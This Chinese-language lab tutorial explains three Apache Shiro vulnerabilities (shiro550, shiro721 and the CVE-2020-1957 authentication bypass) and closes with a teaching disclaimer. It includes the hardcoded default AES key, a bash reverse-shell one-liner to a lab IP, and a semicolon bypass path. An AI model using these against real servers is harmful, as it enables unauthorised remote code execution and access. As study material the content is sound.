Shiro简介
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性,可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。
Shiro反序列化漏洞(shiro550)
漏洞原理:Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
由于使用了AES加密,利用该漏洞需要获取AES的加密密钥,在Shiro1.2.4版本之前AES的加密密钥为硬编码,其默认密钥的Base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA==
,于是就可得到Payload的构造流程:
恶意命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
影响版本:Apache Shiro < 1.2.4
特征判断:返回包中包含rememberMe=deleteMe字段。
环境搭建:
使用 vulhub 搭建环境,路径:
vulhub/shiro/CVE-2016-4437
启动容器:
docker-compose up -d
访问 ip:8080
进入环境:
输入账号密码,勾选上 Remember me,抓包
看到响应包中出现了字段 set-Cookie: rememberMe=deleteMe
,证明该系统使用了Shiro框架。
漏洞利用工具:shiro_attack 下载链接
可以执行命令,来反弹shell
bash -c 'exec bash -i &>/dev/tcp/192.168.50.131/7777 <&1'
Shiro反序列化漏洞(shiro721)
漏洞原理:由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
影响版本:Apache Shiro < 1.4.2版本
攻击流程:
- 使用任意账户登陆目标网站,以获取一个合法的 RememberMe Cookie
- 将获取的值作为POA的前缀
- 加密反序列化的payload来构造恶意RememberMe Cookie
- 将构造好的恶意数据填充到 RememberMe Cookie 字段中并发送
漏洞利用工具:shiro_attack 下载链接
Shiro-721,需输入url,提供一个有效的rememberMe Cookie,并指定目标操作系统类型。
Shiro权限绕过漏洞(CVE-2020-1957)
漏洞原理:Shiro框架使用拦截器对用户访问权限进行控制,常见的有如anon、authc等拦截器。
- anon拦截器为匿名拦截器,无需登陆即可进行访问,一般用于静态资源。
- authc为登陆拦截器,需要登陆才可以访问。
shiro会以分号将传入的URI进行截断,并将分号以及分号后面的数据进行清空,返回分号前面的URI数据,从而让/a/b;/c变为/a/b
Spring对于分号的处理方式与Shiro不同,Spring会先获取分号的位置,并检测分号后是否存在/,如果有,将/的位置记录在slashIndex变量中,并将分号前的数据与/之后的数据进行拼接,从而让/a/b;/c变为/a/b/c。返回处理后的requestURI。
由于Spring与Shiro的decodeAndCleanUriString方法不同,攻击者可以使用分号构造路径,绕过Shiro认证,并可以匹配Spring的动态控制器。
即URL请求过程:
客户端请求URL: /xxx/..;/admin/
Shrio内部处理得到校验URL为 /xxx/..
,校验通过。
SpringBoot 处理 /xxx/..;/admin/
,最终请求 /admin/
,成功访问了后台请求。
免责声明
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。